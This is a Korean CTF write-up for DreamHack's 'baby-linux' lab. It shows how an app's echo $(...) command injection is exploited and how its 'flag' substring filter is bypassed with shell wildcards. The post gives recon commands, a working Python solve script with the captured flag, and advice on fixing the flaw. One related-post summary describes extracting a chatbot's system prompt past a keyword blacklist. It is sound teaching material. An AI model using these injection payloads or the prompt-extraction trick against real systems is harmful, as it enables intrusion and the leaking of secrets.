[πŸ₯‰ Bronze 4] echo $(...) λͺ…λ Ή μ£Όμž… β€” μ™€μΌλ“œμΉ΄λ“œλ‘œ 'flag' ν•„ν„° 우회 β€” DreamHack baby-linux 풀이

2026-06-22Β·1λΆ„ 읽기·

[πŸ₯‰ Bronze 4] echo $(...) λͺ…λ Ή μ£Όμž… β€” μ™€μΌλ“œμΉ΄λ“œλ‘œ 'flag' ν•„ν„° 우회 β€” DreamHack baby-linux 풀이

μž…λ ₯을 echo $(...) μ•ˆμ— κ·ΈλŒ€λ‘œ λΌμ›Œ /bin/sh 둜 μ‹€ν–‰ν•˜λŠ” λ‹¨μˆœν•œ νŽ˜μ΄μ§€. λͺ…λ Ή μ£Όμž…μ€ λ°”λ‘œ λ˜μ§€λ§Œ cmd λ¬Έμžμ—΄μ— 'flag' κ°€ λ“€μ–΄κ°€λ©΄ μ°¨λ‹¨λœλ‹€. μ…Έ μ™€μΌλ“œμΉ΄λ“œ f* 둜 'flag' λ¦¬ν„°λŸ΄μ„ ν”Όν•΄ flag.txt λ₯Ό μ½μ–΄λƒˆλ‹€.

문제: DreamHack β€” baby-linux λΆ„λ₯˜: Misc (μ›ΉμœΌλ‘œ μ„œλΉ„μŠ€λ˜λŠ” command injection) λ‚œμ΄λ„: πŸ₯‰ Bronze 4 FLAG: DH{671ce26c70829e716fae26c7c71a33823feb479f2562891f64605bf68f60ae54}

μž…λ ₯μΉΈ ν•˜λ‚˜μ— echo $( 와 ) κ°€ μ–‘μ˜†μ— λΆ™μ–΄ μžˆλŠ” νŽ˜μ΄μ§€λ‹€. 넣은 값이 κ·ΈλŒ€λ‘œ μ…Έ λͺ…λ Ή μΉ˜ν™˜ μ•ˆμœΌλ‘œ λ“€μ–΄κ°€λ‹ˆ, λͺ…λ Ή μ£Όμž…μ€ μ²˜μŒλΆ€ν„° μ—΄λ € μžˆλ‹€. λ§‰λŠ” 건 λ”± ν•˜λ‚˜ β€” λ§Œλ“€μ–΄μ§„ λͺ…λ Ή λ¬Έμžμ—΄μ— flag λΌλŠ” κΈ€μžκ°€ 보이면 κ±°μ ˆν•œλ‹€. κ·Έλž˜μ„œ "flag λ₯Ό μ“°μ§€ μ•Šκ³  flag νŒŒμΌμ„ μ½λŠ”" 게 이 문제의 μ „λΆ€λ‹€.

메인 νŽ˜μ΄μ§€ β€” echo $(...) μž…λ ₯ 폼
메인 νŽ˜μ΄μ§€ β€” echo $(...) μž…λ ₯ 폼


문제 κ°œμš”

ν•­λͺ©λ‚΄μš©
문제λͺ…baby-linux
λ‚œμ΄λ„πŸ₯‰ Bronze 4
λΆ„λ₯˜Misc (command injection)
제곡 파일 / μ„œλ²„app.py (Flask) + 라이브 μ„œλ²„
핡심 취약점 / 기법echo $({user_input}) λͺ…λ Ή μ£Όμž… + λΆ€λΆ„ λ¬Έμžμ—΄ flag ν•„ν„°λ₯Ό μ…Έ μ™€μΌλ“œμΉ΄λ“œλ‘œ 우회

풀이 흐름은 μ§§λ‹€. λͺ…λ Ή μ£Όμž…μœΌλ‘œ 파일 ꡬ쑰λ₯Ό μ •μ°°ν•΄ flag μœ„μΉ˜λ₯Ό μ°Ύκ³ , 정곡법(cat .../flag.txt)이 필터에 λ§‰νžˆλŠ” κ±Έ ν™•μΈν•œ λ’€, f* μ™€μΌλ“œμΉ΄λ“œλ‘œ flag κΈ€μž 없이 같은 νŒŒμΌμ„ μ½λŠ”λ‹€.



🧩 λ°°κ²½ β€” $( ) λͺ…λ Ή μΉ˜ν™˜

$(λͺ…λ Ή) 은 μ…Έμ˜ λͺ…λ Ή μΉ˜ν™˜(command substitution) 이닀. κ΄„ν˜Έ μ•ˆμ˜ λͺ…령을 λ¨Όμ € μ‹€ν–‰ν•˜κ³ , κ·Έ ν‘œμ€€ 좜λ ₯으둜 κ·Έ 자리λ₯Ό λ°”κΏ”μΉ˜κΈ°ν•œλ‹€. echo $(date) κ°€ λ‚ μ§œλ₯Ό μ°λŠ” μ΄μœ λ‹€.

문제 μ„œλ²„λŠ” μ‚¬μš©μž μž…λ ₯을 λ°”λ‘œ 이 κ΄„ν˜Έ μ•ˆμ— λ„£λŠ”λ‹€.

cmd = f'echo $({user_input})'

즉 μž…λ ₯칸에 date λ₯Ό λ„£μœΌλ©΄ μ„œλ²„λŠ” echo $(date) λ₯Ό λŒλ¦°λ‹€. κ΄„ν˜Έ μ•ˆμ€ echo 의 μΈμžκ°€ μ•„λ‹ˆλΌ μƒˆλ‘œ μ‹€ν–‰λ˜λŠ” λͺ…령이라, 여기에 id, ls, cat 무엇을 λ„£λ“  κ·ΈλŒ€λ‘œ μ‹€ν–‰λœλ‹€. λͺ…λ Ή μΉ˜ν™˜ μžμ²΄κ°€ 이미 μž„μ˜ λͺ…λ Ή μ‹€ν–‰ ν†΅λ‘œλ‹€.


πŸ”¬ μ½”λ“œ μ •μ°°

제곡된 app.py λŠ” ν•œ 화면에 λ“€μ–΄μ˜¨λ‹€.

#!/usr/bin/env python3
import subprocess
from flask import Flask, request, render_template
 
APP = Flask(__name__)
 
@APP.route('/', methods=['GET', 'POST'])
def index():
    if request.method == 'POST':
        user_input = request.form.get('user_input')
        cmd = f'echo $({user_input})'
        if 'flag' in cmd:
            return render_template('index.html', result='No!')
 
        try:
            output = subprocess.check_output(['/bin/sh', '-c', cmd], timeout=5)
            return render_template('index.html', result=output.decode('utf-8'))
        except subprocess.TimeoutExpired:
            return render_template('index.html', result='Timeout')
        except subprocess.CalledProcessError:
            return render_template('index.html', result='Error')
 
    return render_template('index.html')

λ³Ό 곳은 μ„Έ 쀄이닀.

  • cmd = f'echo $({user_input})' β€” μž…λ ₯이 μ…Έ λͺ…령에 λ¬Έμžμ—΄λ‘œ κ·ΈλŒ€λ‘œ 합쳐진닀. μ΄μŠ€μΌ€μ΄ν”„λ„, 인자 뢄리도 μ—†λ‹€.

  • if 'flag' in cmd β€” μœ μΌν•œ λ°©μ–΄. μ™„μ„±λœ λͺ…λ Ή λ¬Έμžμ—΄μ— flag λΆ€λΆ„ λ¬Έμžμ—΄μ΄ μžˆλŠ”μ§€λ§Œ λ³Έλ‹€. μ •κ·œμ‹λ„ 토큰 검사도 μ•„λ‹ˆκ³  λ‹¨μˆœ in 이닀.

  • subprocess.check_output(['/bin/sh', '-c', cmd], ...) β€” κ·Έ λ¬Έμžμ—΄μ„ /bin/sh -c 둜 μ‹€ν–‰ν•˜κ³  좜λ ₯을 κ·ΈλŒ€λ‘œ 결과둜 λŒλ €μ€€λ‹€. 좜λ ₯이 화면에 κ·ΈλŒ€λ‘œ μ°νžˆλ‹ˆ blind κ°€ μ•„λ‹ˆλΌ κ³§λ°”λ‘œ μ½νžŒλ‹€.

무엇을 μ œμ–΄ν•  수 μžˆλ‚˜ β€” 직접 μ°”λŸ¬λ³΄κΈ°

λ¨Όμ € μ–΄λ–€ κΆŒν•œμœΌλ‘œ λ„λŠ”μ§€λΆ€ν„° λ΄€λ‹€. μž…λ ₯칸에 id λ₯Ό λ„£λŠ”λ‹€.

id β€” chall μ‚¬μš©μžλ‘œ μ‹€ν–‰λœλ‹€
id β€” chall μ‚¬μš©μžλ‘œ μ‹€ν–‰λœλ‹€

uid=1000(chall) β€” ν‰λ²”ν•œ μ‚¬μš©μžλ‹€. λ£¨νŠΈλŠ” μ•„λ‹ˆμ§€λ§Œ flag 파일만 읽으면 λ˜λ‹ˆ 상관없닀. λ‹€μŒμ€ 파일 ꡬ쑰. ls -la /app 으둜 μ•± 디렉토리λ₯Ό λ³Έλ‹€.

ls -la /app β€” dream 디렉토리와 hint.txt
ls -la /app β€” dream 디렉토리와 hint.txt

app.py μ˜†μ— dream/ 디렉토리와 hint.txt κ°€ 보인닀. νžŒνŠΈλΆ€ν„° μ½λŠ”λ‹€.

hint.txt β€” flag μœ„μΉ˜λ₯Ό μ•Œλ €μ€€λ‹€
hint.txt β€” flag μœ„μΉ˜λ₯Ό μ•Œλ €μ€€λ‹€

Where is Flag? ./dream/hack/hello

flag λŠ” /app/dream/hack/hello/flag.txt 에 μžˆλ‹€. μœ„μΉ˜λŠ” μ•Œμ•˜μœΌλ‹ˆ 이제 읽기만 ν•˜λ©΄ λ˜λŠ”λ°, μ—¬κΈ°μ„œλΆ€ν„° ν•„ν„°κ°€ κ±Έλ¦°λ‹€.


πŸ› μ‚½μ§ˆ β€” 정곡법은 λ§‰νžŒλ‹€

β–ΆπŸ› μ‚½μ§ˆ β€” cat .../flag.txt λ₯Ό κ·ΈλŒ€λ‘œ λ„£μœΌλ©΄ No!

μœ„μΉ˜λ₯Ό μ•Œμ•˜μœΌλ‹ˆ λ‹Ήμ—°νžˆ cat /app/dream/hack/hello/flag.txt λ₯Ό λ¨Όμ € λ„£μ–΄λ΄€λ‹€. 그러면 μ„œλ²„κ°€ λ§Œλ“  λͺ…령은 echo $(cat /app/dream/hack/hello/flag.txt) κ°€ 되고, 이 λ¬Έμžμ—΄μ—” flag κ°€ λ“€μ–΄ μžˆλ‹€. if 'flag' in cmd 에 κ·ΈλŒ€λ‘œ κ±Έλ € κ²°κ³ΌλŠ” No!.

cat .../flag.txt β€” 'flag' 필터에 λ§‰ν˜€ No!
cat .../flag.txt β€” 'flag' 필터에 λ§‰ν˜€ No!

λͺ…λ Ή μžμ²΄λŠ” μœ νš¨ν•˜λ‹€. λ¬Έμ œλŠ” λͺ…λ Ή λ¬Έμžμ—΄μ— flag λΌλŠ” λ‹€μ„― κΈ€μžκ°€ λ³΄μΈλ‹€λŠ” 것 ν•˜λ‚˜λΏμ΄λ‹€. κ·ΈλŸ¬λ‹ˆ "같은 νŒŒμΌμ„, flag λΌλŠ” κΈ€μž 없이 κ°€λ¦¬ν‚€λŠ” 방법"만 찾으면 λœλ‹€.



πŸ’£ 핡심 β€” λΆ€λΆ„ λ¬Έμžμ—΄ ν•„ν„° vs μ…Έ μ™€μΌλ“œμΉ΄λ“œ

ν•„ν„°λŠ” λͺ…λ Ή λ¬Έμžμ—΄μ— flag κ°€ λ³΄μ΄λŠ”μ§€λ§Œ κ²€μ‚¬ν•œλ‹€. νŒŒμΌμ„ μ–΄λ–»κ²Œ 가리킀든 상관없이, λ‚΄κ°€ λ³΄λ‚΄λŠ” κΈ€μžμ— flag 만 μ—†μœΌλ©΄ 톡과닀. 그런데 셸은 파일λͺ…을 κΈ€μž κ·ΈλŒ€λ‘œ λ°›μ§€ μ•ŠλŠ”λ‹€ β€” μ™€μΌλ“œμΉ΄λ“œλ₯Ό λ¨Όμ € νŽΌμΉœλ‹€.

f* λŠ” "ν˜„μž¬ μœ„μΉ˜μ—μ„œ f 둜 μ‹œμž‘ν•˜λŠ” λͺ¨λ“  이름"으둜 셸이 μ „κ°œν•œλ‹€. /app/dream/hack/hello/ μ•ˆμ—λŠ” flag.txt ν•˜λ‚˜λΏμ΄λΌ, f* λŠ” μ…Έ λ‹¨κ³„μ—μ„œ flag.txt 둜 바뀐닀. μ •λ¦¬ν•˜λ©΄ 이렇닀.

  • λ‚΄κ°€ λ³΄λ‚΄λŠ” μž…λ ₯: cat /app/dream/hack/hello/f* β€” flag κΈ€μž μ—†μŒ β†’ ν•„ν„° 톡과
  • 셸이 μ‹€μ œλ‘œ μ‹€ν–‰: cat /app/dream/hack/hello/flag.txt β€” κΈ€λ‘œλΉ™ μ „κ°œ 후라 ν•„ν„°λŠ” 이미 μ§€λ‚˜κ°

ν•„ν„°λŠ” 파이썬 λ¬Έμžμ—΄ λ‹¨κ³„μ—μ„œ, μ™€μΌλ“œμΉ΄λ“œ μ „κ°œλŠ” /bin/sh λ‹¨κ³„μ—μ„œ μΌμ–΄λ‚œλ‹€. 검사 μ‹œμ κ³Ό μ‹€ν–‰ μ‹œμ μ΄ μ–΄κΈ‹λ‚˜ μžˆμ–΄μ„œ, 검사 λ•Œ μ•ˆ 보이던 flag κ°€ μ‹€ν–‰ λ•Œ μƒκ²¨λ‚œλ‹€.

검사(파이썬)와 μ „κ°œ(μ…Έ)의 μ‹œμ  차이 β€” f* κ°€ flag.txt 둜 νŽΌμ³μ§„λ‹€
검사(파이썬)와 μ „κ°œ(μ…Έ)의 μ‹œμ  차이 β€” f* κ°€ flag.txt 둜 νŽΌμ³μ§„λ‹€

f* 말고도 flag λ¦¬ν„°λŸ΄λ§Œ ν”Όν•˜λ©΄ 뭐든 λœλ‹€. λ”°μ˜΄ν‘œλ‘œ κΈ€μžλ₯Ό μͺΌκ°œλŠ” fl''ag.txt(빈 λ”°μ˜΄ν‘œλŠ” 셸이 제거), ν•œ κΈ€μžλ§Œ κ°€λ¦° fla?.txt, λ³€μˆ˜λ‘œ λΌμ›Œλ„£λŠ” 방법 λ“± β€” λͺ¨λ‘ 같은 원리닀. λΆ€λΆ„ λ¬Έμžμ—΄ λΈ”λž™λ¦¬μŠ€νŠΈλŠ” 이런 μš°νšŒμ— 본질적으둜 μ•½ν•˜λ‹€.


🎯 풀이

μž…λ ₯칸에 μ™€μΌλ“œμΉ΄λ“œ νŽ˜μ΄λ‘œλ“œλ₯Ό λ„£λŠ”λ‹€.

cat /app/dream/hack/hello/f*

μ„œλ²„κ°€ echo $(cat /app/dream/hack/hello/f*) λ₯Ό μ‹€ν–‰ν•˜κ³ , 셸이 f* λ₯Ό flag.txt 둜 펼쳐 κ·Έ λ‚΄μš©μ„ 결과둜 λŒλ €μ€€λ‹€.

f* μ™€μΌλ“œμΉ΄λ“œ β€” flag 좜λ ₯
f* μ™€μΌλ“œμΉ΄λ“œ β€” flag 좜λ ₯

DH{671ce26c70829e716fae26c7c71a33823feb479f2562891f64605bf68f60ae54}

πŸš€ Full Exploit

μ •μ°°λΆ€ν„° μš°νšŒκΉŒμ§€λ₯Ό ν•œ 슀크립트둜 λ¬Άμ—ˆλ‹€. POST 둜 λͺ…령을 보내고 μ‘λ‹΅μ˜ <pre> μ•ˆ 결과만 λ½‘μ•„μ˜€λŠ” μž‘μ€ 래퍼 ν•˜λ‚˜λ©΄ μΆ©λΆ„ν•˜λ‹€.

#!/usr/bin/env python3
# baby-linux β€” command injection ν•„ν„° 우회
# cmd = f'echo $({user_input})' λ₯Ό /bin/sh -c 둜 μ‹€ν–‰. cmd 에 'flag' κ°€
# λ“€μ–΄κ°€λ©΄ μ°¨λ‹¨λ˜λ―€λ‘œ, μ™€μΌλ“œμΉ΄λ“œ(f*)둜 'flag' λ¦¬ν„°λŸ΄ 없이 flag.txt λ₯Ό μ½λŠ”λ‹€.
import re
import sys
import requests
 
URL = sys.argv[1] if len(sys.argv) > 1 else "http://host3.dreamhack.games:10799/"
 
 
def run(cmd):
    """user_input 으둜 λͺ…령을 보내고 <pre> μ•ˆμ˜ 결과만 λ½‘μ•„μ˜¨λ‹€."""
    r = requests.post(URL, data={"user_input": cmd}, timeout=15)
    m = re.search(r"<pre>(.*?)</pre>", r.text, re.S)
    return m.group(1).strip() if m else "(no <pre>)"
 
 
print("[*] target :", URL)
print("[*] whoami :", run("id"))
print("[*] root   :", run("ls /"))
print("[*] hint   :", run("cat /app/hint.txt"))
 
# 정곡법은 'flag.txt' λ¬Έμžμ—΄ λ•Œλ¬Έμ— μ°¨λ‹¨λœλ‹€
print("[*] direct : cat .../flag.txt ->", run("cat /app/dream/hack/hello/flag.txt"))
 
# μ™€μΌλ“œμΉ΄λ“œλ‘œ 'flag' λ¦¬ν„°λŸ΄μ„ ν”Όν•΄ 우회
flag = run("cat /app/dream/hack/hello/f*")
print("[+] FLAG   :", flag)

직접 λ§‰νžˆλŠ” 쀄(direct)κΉŒμ§€ 같이 찍어 두면, ν•„ν„°κ°€ μ‹€μ œλ‘œ λ™μž‘ν•˜λŠ”λ° 우회만 ν†΅κ³Όν•œλ‹€λŠ” 게 ν•œ 화면에 보인닀.

solve.py μ‹€ν–‰ β€” direct λŠ” No!, f* μš°νšŒλŠ” flag
solve.py μ‹€ν–‰ β€” direct λŠ” No!, f* μš°νšŒλŠ” flag



πŸ“ κ²°λ‘ 

λΆ€λΆ„ λ¬Έμžμ—΄ λΈ”λž™λ¦¬μŠ€νŠΈλŠ” 우회 ν‘œλ©΄μ΄ λ„ˆλ¬΄ λ„“λ‹€.

if 'flag' in cmd λŠ” "flag λΌλŠ” κΈ€μžκ°€ 보이면 λ§‰λŠ”λ‹€"λŠ” λ°œμƒμΈλ°, 셸은 κΈ€μžλ₯Ό κΈ€μž κ·ΈλŒ€λ‘œ μ‹€ν–‰ν•˜μ§€ μ•ŠλŠ”λ‹€. μ™€μΌλ“œμΉ΄λ“œΒ·λ”°μ˜΄ν‘œΒ·λ³€μˆ˜Β·μΈμ½”λ”©μ²˜λŸΌ 같은 νŒŒμΌμ„ λ‹€λ₯Έ κΈ€μžλ‘œ κ°€λ¦¬ν‚€λŠ” 방법이 λ„ˆλ¬΄ λ§Žμ•„, κΈˆμ§€μ–΄ ν•œλ‘ κ°œλ‘œλŠ” 막을 수 μ—†λ‹€. κ²€μ‚¬ν•˜λŠ” μ‹œμ (파이썬 λ¬Έμžμ—΄)κ³Ό μ‹€ν–‰λ˜λŠ” μ‹œμ (μ…Έ μ „κ°œ ν›„)이 λ‹€λ₯΄λ‹€λŠ” 점이 핡심이닀.

μ œλŒ€λ‘œ λ§‰μœΌλ €λ©΄ 셸을 κ±°μΉ˜μ§€ μ•Šμ•„μ•Ό ν•œλ‹€.

subprocess 에 λ¬Έμžμ—΄μ„ /bin/sh -c 둜 λ„˜κΈ°λŠ” λŒ€μ‹ , 인자λ₯Ό 리슀트둜 직접 전달(shell=False)ν•˜λ©΄ λͺ…λ Ή μΉ˜ν™˜λ„ μ™€μΌλ“œμΉ΄λ“œ μ „κ°œλ„ μΌμ–΄λ‚˜μ§€ μ•ŠλŠ”λ‹€. μ• μ΄ˆμ— μ‚¬μš©μž μž…λ ₯을 λͺ…령에 ν•©μΉ˜λŠ” 섀계 자체λ₯Ό ν”Όν•˜κ³ , κΌ­ ν•„μš”ν•˜λ©΄ ν—ˆμš© λͺ©λ‘(allowlist) 기반으둜 μž…λ ₯을 κ²€μ¦ν•˜λŠ” 게 λ§žλ‹€. 좜λ ₯을 κ·ΈλŒ€λ‘œ 화면에 λŒλ €μ£ΌλŠ” 것도 정보 λ…ΈμΆœμ„ ν‚€μš΄λ‹€.

baby-linux λΌλŠ” μ΄λ¦„μ²˜λŸΌ 기법은 λ‹¨μˆœν•˜μ§€λ§Œ, "ν•„ν„°λ₯Ό μš°νšŒν•œλ‹€"λŠ” 게 κ²°κ΅­ 검사 둜직과 μ‹€ν–‰ 둜직 μ‚¬μ΄μ˜ ν‹ˆμ„ μ°ΎλŠ” μΌμ΄λΌλŠ” κ±Έ λ³΄μ—¬μ£ΌλŠ” λ¬Έμ œλ‹€.

이 글이 도움이 λλ‚˜μš”?

Comments

λŒ“κΈ€

0개

λŒ“κΈ€μ„ 남기렀면 둜그인이 ν•„μš”ν•΄μš”. (넀이버 Β· ꡬ글 계정)

λŒ“κΈ€ λΆˆλŸ¬μ˜€λŠ” 쀑…

Related

κ΄€λ ¨ κΈ€

3개
[πŸ₯‰ Bronze 4] PHP μ •κ·œμ‹ 3κ²Ή 뚫기 β€” preg_replace κ²ΉμΉ¨Β·μ•ŒνŒŒλ²³ μ—†λŠ” λΉ„λ²ˆΒ·flag ν•„ν„° 우회 RCE β€” DreamHack phpreg 풀이
blog

[πŸ₯‰ Bronze 4] PHP μ •κ·œμ‹ 3κ²Ή 뚫기 β€” preg_replace κ²ΉμΉ¨Β·μ•ŒνŒŒλ²³ μ—†λŠ” λΉ„λ²ˆΒ·flag ν•„ν„° 우회 RCE β€” DreamHack phpreg 풀이

PHP의 preg_replaceΒ·preg_match둜 λ§Œλ“  κ΄€λ¬Έ μ„Έ 개λ₯Ό μ°¨λ‘€λ‘œ λš«λŠ” λ¬Έμ œλ‹€. λ‹‰λ„€μž„μ€ 'nyang'을 겹치게 λΌμ›Œ ν•œ 번만 μ§€μ›Œμ§€κ²Œ λ§Œλ“€κ³ , λΉ„λ°€λ²ˆν˜ΈλŠ” μ•ŒνŒŒλ²³ 없이 μΉ˜ν™˜ νŒ¨ν„΄μ„ λ§žμΆ”κ³ , λ§ˆμ§€λ§‰ cmdλŠ” 'flag' ν•„ν„°λ₯Ό μ™€μΌλ“œμΉ΄λ“œλ‘œ μš°νšŒν•΄ RCE둜 flag.txtλ₯Ό μ½μ—ˆλ‹€.
#dreamhack#ctf#web+5
2026-06-22#dreamhack +4
[πŸ₯‰ Bronze 3] 값을 묻지 말고 μ§€μ‹œλ¬Έμ„ λ˜ν’€μ΄μ‹œν‚¨λ‹€ β€” DreamHack baby-ai 풀이
blog

[πŸ₯‰ Bronze 3] 값을 묻지 말고 μ§€μ‹œλ¬Έμ„ λ˜ν’€μ΄μ‹œν‚¨λ‹€ β€” DreamHack baby-ai 풀이

μ›Ή μ„œλ²„ μ•ˆμ—μ„œ 0.5B 짜리 둜컬 λͺ¨λΈμ„ λŒλ¦¬λŠ” 챗봇 문제. ν”Œλž˜κ·ΈλŠ” μ‹œμŠ€ν…œ ν”„λ‘¬ν”„νŠΈ 첫 쀄에 κ·ΈλŒ€λ‘œ λ°•ν˜€ 있고, μž…λ ₯에 adminΒ·flagΒ·passΒ·secretΒ·private 이 λ“€μ–΄κ°€λ©΄ λͺ¨λΈκΉŒμ§€ 가지도 λͺ»ν•œλ‹€. 그런데 κ·Έ λΈ”λž™λ¦¬μŠ€νŠΈλŠ” 질문만 λ³Έλ‹€. 비밀을 λ¬»λŠ” λŒ€μ‹  μ§€μ‹œλ¬Έμ„ κ·ΈλŒ€λ‘œ λ˜ν’€μ΄ν•˜κ²Œ μ‹œν‚€λ©΄ ν•œ 쀄에 λ‹€ λ‚˜μ˜¨λ‹€. 킀릴 문자 ν•œ κΈ€μžλ‘œ λΆ€λΆ„λ¬Έμžμ—΄ 검사 자체λ₯Ό λΉ—λ‚˜κ°€κ²Œ ν•˜λŠ” 두 번째 κ²½λ‘œλ„ 같이 닀룬닀.
#dreamhack#ctf#web+8
2026-07-29#dreamhack +4
[πŸ₯‰ Bronze 1] IPv6 둜 λ“€μ–΄κ°€μ„œ IPv4 둜 λ„μ°©ν•˜κΈ° β€” DreamHack Where-is-localhost 풀이
blog

[πŸ₯‰ Bronze 1] IPv6 둜 λ“€μ–΄κ°€μ„œ IPv4 둜 λ„μ°©ν•˜κΈ° β€” DreamHack Where-is-localhost 풀이

μž…λ ₯은 λ°˜λ“œμ‹œ IPv6 μ—¬μ•Ό ν•˜κ³ , λ„μ°©ν•œ μš”μ²­μ˜ μΆœλ°œμ§€λŠ” λ°˜λ“œμ‹œ IPv4 루프백이어야 ν•œλ‹€. μ„œλ‘œ λ°°νƒ€μ μœΌλ‘œ λ³΄μ΄λŠ” 두 쑰건을 `::ffff:127.0.0.1` ν•˜λ‚˜κ°€ λ™μ‹œμ— λ§Œμ‘±μ‹œν‚¨λ‹€. 파이썬 ipaddress μ—κ²ŒλŠ” version 6 이고 λ¦¬λˆ…μŠ€ μ»€λ„μ—κ²ŒλŠ” 127.0.0.1 이기 λ•Œλ¬Έμ΄λ‹€. tcpdump 둜 루프백에 흐λ₯΄λŠ” νŒ¨ν‚·μ΄ μ‹€μ œλ‘œ IPv4 λΌλŠ” κ²ƒκΉŒμ§€ ν™•μΈν–ˆλ‹€.
#dreamhack#ctf#web+6
2026-08-07#dreamhack +4